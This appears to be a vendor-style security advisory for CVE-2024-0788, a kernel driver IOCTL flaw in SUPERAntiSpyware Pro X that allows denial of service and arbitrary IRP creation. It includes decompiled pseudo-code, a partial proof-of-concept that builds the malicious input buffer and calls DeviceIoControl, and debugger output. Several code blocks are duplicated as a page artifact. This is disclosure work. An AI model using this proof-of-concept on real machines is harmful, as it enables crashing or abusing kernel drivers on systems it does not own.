SUPERAntiSpyware Pro X - API manipulation
6,6
Medium
Discovered by

Offensive Team, Fluid Attacks
Summary
Full name
SUPERAntiSpyware Pro X v10.0.1260 - Kernel-level API parameters manipulation
Code name
State
Public
Release date
29 ene 2024
Affected product
SUPERAntiSpyware Pro X
Vendor
SUPERAntiSpyware
Affected version(s)
Version 10.0.1260
Vulnerability name
Kernel-level API parameters manipulation
Vulnerability type
Remotely exploitable
No
CVSS v3.1 vector string
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
CVSS v3.1 base score
6.6
Exploit available
Yes
CVE ID(s)
Description
SUPERAntiSpyware Pro X v10.0.1260 is vulnerable to kernel-level API parameters manipulation and Denial of Service vulnerabilities by triggering the 0x9C402140 IOCTL code of the saskutil64.sys driver.
Vulnerability
The 0x9C402140 IOCTL code of the saskutil64.sys driver allows a local attacker to manipulate the parameters of the IoGetDeviceObjectPointer and IoBuildSynchronousFsdRequest kernel-level APIs, leading to DoS when a invalid Device Object is passed to IoGetDeviceObjectPointer. The primitive can be further abused to create arbitrary IRPs to perform driver-to-driver calls.
The decompiled pseudo-code of the affected function is this:
__int64 __fastcall sub_1110C(__int64 a1, __int64 a2) { unsigned __int64 v2; // rbx volatile void *v3; // rcx PIRP v4; // rax struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-48h] BYREF struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-38h] BYREF struct _KEVENT Event; // [rsp+60h] [rbp-28h] BYREF PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+10h] BYREF union _LARGE_INTEGER Timeout; // [rsp+A0h] [rbp+18h] BYREF PFILE_OBJECT FileObject; // [rsp+A8h] [rbp+20h] BYREF v2 = *(_QWORD *)(a2 + 0x18); if ( v2 < 0x8000000000000000ui64 ) { ProbeForRead((volatile void *)v2, 0x1018ui64, 1u); ProbeForWrite((volatile void *)v2, 0x1018ui64, 1u); } v3 = *(volatile void **)(v2 + 0x1010); if ( (unsigned __int64)v3 < 0x8000000000000000ui64 ) { ProbeForRead(v3, *(unsigned int *)(v2 + 0x1008), 1u); ProbeForWrite(*(volatile void **)(v2 + 0x1010), *(unsigned int *)(v2 + 0x1008), 1u); } RtlInitUnicodeString(&DestinationString, (PCWSTR)v2); IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject); // [1] Timeout = *(union _LARGE_INTEGER *)(v2 + 0x1000); KeInitializeEvent(&Event, NotificationEvent, 0); v4 = IoBuildSynchronousFsdRequest( //[2] 4u, DeviceObject, *(PVOID *)(v2 + 0x1010), *(_DWORD *)(v2 + 0x1008), &Timeout, &Event, &IoStatusBlock); v4->Flags = 0x10; if ( IofCallDriver(DeviceObject, v4) == 0x103 ) KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64); return 0i64
__int64 __fastcall sub_1110C(__int64 a1, __int64 a2) { unsigned __int64 v2; // rbx volatile void *v3; // rcx PIRP v4; // rax struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-48h] BYREF struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-38h] BYREF struct _KEVENT Event; // [rsp+60h] [rbp-28h] BYREF PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+10h] BYREF union _LARGE_INTEGER Timeout; // [rsp+A0h] [rbp+18h] BYREF PFILE_OBJECT FileObject; // [rsp+A8h] [rbp+20h] BYREF v2 = *(_QWORD *)(a2 + 0x18); if ( v2 < 0x8000000000000000ui64 ) { ProbeForRead((volatile void *)v2, 0x1018ui64, 1u); ProbeForWrite((volatile void *)v2, 0x1018ui64, 1u); } v3 = *(volatile void **)(v2 + 0x1010); if ( (unsigned __int64)v3 < 0x8000000000000000ui64 ) { ProbeForRead(v3, *(unsigned int *)(v2 + 0x1008), 1u); ProbeForWrite(*(volatile void **)(v2 + 0x1010), *(unsigned int *)(v2 + 0x1008), 1u); } RtlInitUnicodeString(&DestinationString, (PCWSTR)v2); IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject); // [1] Timeout = *(union _LARGE_INTEGER *)(v2 + 0x1000); KeInitializeEvent(&Event, NotificationEvent, 0); v4 = IoBuildSynchronousFsdRequest( //[2] 4u, DeviceObject, *(PVOID *)(v2 + 0x1010), *(_DWORD *)(v2 + 0x1008), &Timeout, &Event, &IoStatusBlock); v4->Flags = 0x10; if ( IofCallDriver(DeviceObject, v4) == 0x103 ) KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64); return 0i64
__int64 __fastcall sub_1110C(__int64 a1, __int64 a2) { unsigned __int64 v2; // rbx volatile void *v3; // rcx PIRP v4; // rax struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-48h] BYREF struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-38h] BYREF struct _KEVENT Event; // [rsp+60h] [rbp-28h] BYREF PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+10h] BYREF union _LARGE_INTEGER Timeout; // [rsp+A0h] [rbp+18h] BYREF PFILE_OBJECT FileObject; // [rsp+A8h] [rbp+20h] BYREF v2 = *(_QWORD *)(a2 + 0x18); if ( v2 < 0x8000000000000000ui64 ) { ProbeForRead((volatile void *)v2, 0x1018ui64, 1u); ProbeForWrite((volatile void *)v2, 0x1018ui64, 1u); } v3 = *(volatile void **)(v2 + 0x1010); if ( (unsigned __int64)v3 < 0x8000000000000000ui64 ) { ProbeForRead(v3, *(unsigned int *)(v2 + 0x1008), 1u); ProbeForWrite(*(volatile void **)(v2 + 0x1010), *(unsigned int *)(v2 + 0x1008), 1u); } RtlInitUnicodeString(&DestinationString, (PCWSTR)v2); IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject); // [1] Timeout = *(union _LARGE_INTEGER *)(v2 + 0x1000); KeInitializeEvent(&Event, NotificationEvent, 0); v4 = IoBuildSynchronousFsdRequest( //[2] 4u, DeviceObject, *(PVOID *)(v2 + 0x1010), *(_DWORD *)(v2 + 0x1008), &Timeout, &Event, &IoStatusBlock); v4->Flags = 0x10; if ( IofCallDriver(DeviceObject, v4) == 0x103 ) KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64); return 0i64
__int64 __fastcall sub_1110C(__int64 a1, __int64 a2) { unsigned __int64 v2; // rbx volatile void *v3; // rcx PIRP v4; // rax struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-48h] BYREF struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-38h] BYREF struct _KEVENT Event; // [rsp+60h] [rbp-28h] BYREF PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+10h] BYREF union _LARGE_INTEGER Timeout; // [rsp+A0h] [rbp+18h] BYREF PFILE_OBJECT FileObject; // [rsp+A8h] [rbp+20h] BYREF v2 = *(_QWORD *)(a2 + 0x18); if ( v2 < 0x8000000000000000ui64 ) { ProbeForRead((volatile void *)v2, 0x1018ui64, 1u); ProbeForWrite((volatile void *)v2, 0x1018ui64, 1u); } v3 = *(volatile void **)(v2 + 0x1010); if ( (unsigned __int64)v3 < 0x8000000000000000ui64 ) { ProbeForRead(v3, *(unsigned int *)(v2 + 0x1008), 1u); ProbeForWrite(*(volatile void **)(v2 + 0x1010), *(unsigned int *)(v2 + 0x1008), 1u); } RtlInitUnicodeString(&DestinationString, (PCWSTR)v2); IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject); // [1] Timeout = *(union _LARGE_INTEGER *)(v2 + 0x1000); KeInitializeEvent(&Event, NotificationEvent, 0); v4 = IoBuildSynchronousFsdRequest( //[2] 4u, DeviceObject, *(PVOID *)(v2 + 0x1010), *(_DWORD *)(v2 + 0x1008), &Timeout, &Event, &IoStatusBlock); v4->Flags = 0x10; if ( IofCallDriver(DeviceObject, v4) == 0x103 ) KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64); return 0i64
When an attacker performs a request to the affected IOCTL, some parameters of [1] and [2] can be influenced.
Snipped of the Proof-of-Concept:
ULONGLONG injectedBufferAddr = 0x00000003a0000000; ... LPVOID injectedBuffer = VirtualAlloc((LPVOID)injectedBufferAddr, 0x1020, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ... memset(injectedBuffer, 0x42, 0x1020); ... // IoGetDeviceObjectPointer->ObjectName swprintf_s((WCHAR*)inBuf, 13, L"\\Device\\CNG"); // IoBuildSynchronousFsdRequest->StartingOffset ((PDWORD64)((DWORD64)inBuf + 0x1000))[0] = (ULONGLONG)0x1337; // IoBuildSynchronousFsdRequest->Length ((PDWORD64)((DWORD64)inBuf + 0x1008))[0] = (ULONGLONG)0x200; // IoBuildSynchronousFsdRequest->Buffer ((PDWORD64)((DWORD64)inBuf + 0x1010))[0] = (ULONGLONG)injectedBuffer; ... DWORD IoControlCode = 0x9C402140; ... BOOL triggerIOCTL = DeviceIoControl(hOseeDriver, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL
ULONGLONG injectedBufferAddr = 0x00000003a0000000; ... LPVOID injectedBuffer = VirtualAlloc((LPVOID)injectedBufferAddr, 0x1020, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ... memset(injectedBuffer, 0x42, 0x1020); ... // IoGetDeviceObjectPointer->ObjectName swprintf_s((WCHAR*)inBuf, 13, L"\\Device\\CNG"); // IoBuildSynchronousFsdRequest->StartingOffset ((PDWORD64)((DWORD64)inBuf + 0x1000))[0] = (ULONGLONG)0x1337; // IoBuildSynchronousFsdRequest->Length ((PDWORD64)((DWORD64)inBuf + 0x1008))[0] = (ULONGLONG)0x200; // IoBuildSynchronousFsdRequest->Buffer ((PDWORD64)((DWORD64)inBuf + 0x1010))[0] = (ULONGLONG)injectedBuffer; ... DWORD IoControlCode = 0x9C402140; ... BOOL triggerIOCTL = DeviceIoControl(hOseeDriver, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL
ULONGLONG injectedBufferAddr = 0x00000003a0000000; ... LPVOID injectedBuffer = VirtualAlloc((LPVOID)injectedBufferAddr, 0x1020, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ... memset(injectedBuffer, 0x42, 0x1020); ... // IoGetDeviceObjectPointer->ObjectName swprintf_s((WCHAR*)inBuf, 13, L"\\Device\\CNG"); // IoBuildSynchronousFsdRequest->StartingOffset ((PDWORD64)((DWORD64)inBuf + 0x1000))[0] = (ULONGLONG)0x1337; // IoBuildSynchronousFsdRequest->Length ((PDWORD64)((DWORD64)inBuf + 0x1008))[0] = (ULONGLONG)0x200; // IoBuildSynchronousFsdRequest->Buffer ((PDWORD64)((DWORD64)inBuf + 0x1010))[0] = (ULONGLONG)injectedBuffer; ... DWORD IoControlCode = 0x9C402140; ... BOOL triggerIOCTL = DeviceIoControl(hOseeDriver, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL
ULONGLONG injectedBufferAddr = 0x00000003a0000000; ... LPVOID injectedBuffer = VirtualAlloc((LPVOID)injectedBufferAddr, 0x1020, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ... memset(injectedBuffer, 0x42, 0x1020); ... // IoGetDeviceObjectPointer->ObjectName swprintf_s((WCHAR*)inBuf, 13, L"\\Device\\CNG"); // IoBuildSynchronousFsdRequest->StartingOffset ((PDWORD64)((DWORD64)inBuf + 0x1000))[0] = (ULONGLONG)0x1337; // IoBuildSynchronousFsdRequest->Length ((PDWORD64)((DWORD64)inBuf + 0x1008))[0] = (ULONGLONG)0x200; // IoBuildSynchronousFsdRequest->Buffer ((PDWORD64)((DWORD64)inBuf + 0x1010))[0] = (ULONGLONG)injectedBuffer; ... DWORD IoControlCode = 0x9C402140; ... BOOL triggerIOCTL = DeviceIoControl(hOseeDriver, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL
The resulting kernel-level API calls are:
Breakpoint 1 hit SASKUTIL64+0x11b5: fffff804`535211b5 ff157d0e0000 call qword ptr [SASKUTIL64+0x2038 (fffff804`53522038)] 1: kd> dps fffff804`53522038 L1 fffff804`53522038 fffff804`4e80f9f0 nt!IoGetDeviceObjectPointer 1: kd> du poi(rcx+8) ffff8608`2b4bf000 "\Device\CNG" Breakpoint 0 hit SASKUTIL64+0x1216: fffff804`53521216 ff15f40d0000 call qword ptr [SASKUTIL64+0x2010 (fffff804`53522010)] 0: kd> dps fffff804`53522010 L1 fffff804`53522010 fffff804`4e858f70 nt!IoBuildSynchronousFsdRequest 0: kd> r rcx; r rdx; r r8; r r9; dps poi(rsp+20) L1; dps poi(rsp+28) L1 rcx=0000000000000004 rdx=ffff860826932c90 r8=00000003a0000000 r9=0000000000000200 ffffa781`aa9e97e0 00000000`00001337 ffffa781`aa9e97a0 00000000`68060000
Breakpoint 1 hit SASKUTIL64+0x11b5: fffff804`535211b5 ff157d0e0000 call qword ptr [SASKUTIL64+0x2038 (fffff804`53522038)] 1: kd> dps fffff804`53522038 L1 fffff804`53522038 fffff804`4e80f9f0 nt!IoGetDeviceObjectPointer 1: kd> du poi(rcx+8) ffff8608`2b4bf000 "\Device\CNG" Breakpoint 0 hit SASKUTIL64+0x1216: fffff804`53521216 ff15f40d0000 call qword ptr [SASKUTIL64+0x2010 (fffff804`53522010)] 0: kd> dps fffff804`53522010 L1 fffff804`53522010 fffff804`4e858f70 nt!IoBuildSynchronousFsdRequest 0: kd> r rcx; r rdx; r r8; r r9; dps poi(rsp+20) L1; dps poi(rsp+28) L1 rcx=0000000000000004 rdx=ffff860826932c90 r8=00000003a0000000 r9=0000000000000200 ffffa781`aa9e97e0 00000000`00001337 ffffa781`aa9e97a0 00000000`68060000
Breakpoint 1 hit SASKUTIL64+0x11b5: fffff804`535211b5 ff157d0e0000 call qword ptr [SASKUTIL64+0x2038 (fffff804`53522038)] 1: kd> dps fffff804`53522038 L1 fffff804`53522038 fffff804`4e80f9f0 nt!IoGetDeviceObjectPointer 1: kd> du poi(rcx+8) ffff8608`2b4bf000 "\Device\CNG" Breakpoint 0 hit SASKUTIL64+0x1216: fffff804`53521216 ff15f40d0000 call qword ptr [SASKUTIL64+0x2010 (fffff804`53522010)] 0: kd> dps fffff804`53522010 L1 fffff804`53522010 fffff804`4e858f70 nt!IoBuildSynchronousFsdRequest 0: kd> r rcx; r rdx; r r8; r r9; dps poi(rsp+20) L1; dps poi(rsp+28) L1 rcx=0000000000000004 rdx=ffff860826932c90 r8=00000003a0000000 r9=0000000000000200 ffffa781`aa9e97e0 00000000`00001337 ffffa781`aa9e97a0 00000000`68060000
Breakpoint 1 hit SASKUTIL64+0x11b5: fffff804`535211b5 ff157d0e0000 call qword ptr [SASKUTIL64+0x2038 (fffff804`53522038)] 1: kd> dps fffff804`53522038 L1 fffff804`53522038 fffff804`4e80f9f0 nt!IoGetDeviceObjectPointer 1: kd> du poi(rcx+8) ffff8608`2b4bf000 "\Device\CNG" Breakpoint 0 hit SASKUTIL64+0x1216: fffff804`53521216 ff15f40d0000 call qword ptr [SASKUTIL64+0x2010 (fffff804`53522010)] 0: kd> dps fffff804`53522010 L1 fffff804`53522010 fffff804`4e858f70 nt!IoBuildSynchronousFsdRequest 0: kd> r rcx; r rdx; r r8; r r9; dps poi(rsp+20) L1; dps poi(rsp+28) L1 rcx=0000000000000004 rdx=ffff860826932c90 r8=00000003a0000000 r9=0000000000000200 ffffa781`aa9e97e0 00000000`00001337 ffffa781`aa9e97a0 00000000`68060000
Our security policy
We have reserved the ID CVE-2024-0788 to refer to this issue from now on.
System Information
Version: SUPERAntiSpyware Pro X v10.0.1260
Operating System: Windows
Mitigation
There is currently no patch available for this vulnerability.
References
Vendor page https://www.superantispyware.com/
Product page https://www.superantispyware.com/professional-x-edition.html
Credits
The vulnerability was discovered by Andres Roldan from Fluid Attacks' Offensive Team.
Timeline
22 ene 2024
Vulnerability discovered
22 ene 2024
Vendor contacted
29 ene 2024
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.





